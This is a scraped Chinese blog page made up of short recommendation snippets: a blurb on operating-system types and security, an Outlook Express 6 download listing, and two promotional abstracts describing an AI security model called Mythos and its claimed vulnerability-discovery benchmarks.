操作系统是计算系统的安全基座,其类型直接定义了权限模型、内存管理、进程隔离与可信执行等核心安全能力。理解Linux、Windows、macOS等通用OS的弹性安全契约,FreeRTOS、Zephyr等RTOS的确定性安全约束,QNX、INTEGRITY等嵌入式OS的硬件隔离范式,以及Android、iOS、ESXi等专用OS的领域语法安全逻辑,是构建真实防护体系的前提。尤其在金融、工控、医疗等关键场景中,OS类型误判——如将实时系统当通用系统使用,或在资源受限设备上部署全功能发行版——已成为83%重大安全事

weixin_34163553的博客 346

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

Mythos:首个可规模化漏洞挖掘的AI安全模型

漏洞挖掘正从依赖人工经验与模糊测试的传统范式,转向基于状态空间建模与符号执行的确定性导航。Mythos作为新一代AI安全模型,其核心突破在于将二进制分析、控制流图建模、内存布局推理与exploit生成整合为端到端闭环,实现对真实世界漏洞路径的可复现、可调度发现。它不依赖海量参数堆砌,而是通过MoE动态路由、语义级沙箱和GNN+强化学习联合建模,显著提升在复杂固件、金融网关、工业协议等场景下的高危漏洞检出率。尤其在CVE挖掘、RCE构造、权限提升链识别等关键任务中,已展现出超越顶尖白帽工程师的系统性能力。本文

cuanmo8775的博客 401

Mythos Preview:通用大模型如何重构软件安全能力边界

大语言模型正从‘文本生成工具’演进为具备跨栈代码理解与自主攻防推理能力的通用智能体。其核心原理在于融合底层系统知识(如内核源码、指令集、固件协议)与形式化漏洞建模能力,实现从‘匹配模式’到‘证明存在’的安全分析范式跃迁。这种能力带来显著技术价值:将SWE-bench Pro等真实工程任务准确率提升至77.8%,在CyberGym红队模拟中达成83.1%全流程自动化,大幅压缩‘发现-验证-修复’闭环时间。典型应用场景覆盖开源组件审计、云原生渗透测试及嵌入式固件逆向,尤其适用于DevSecOps与关键基础设施运

weixin_30321449的博客 436
上一篇: ARM实战前的准备 :
下一篇: zipfile.BadZipfile: File name in directory "AndroidManifest.xml" and header "META-INF/MANIFEST.MF" d
Dr. 熊
博客等级 码龄10年 29粉丝 140原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值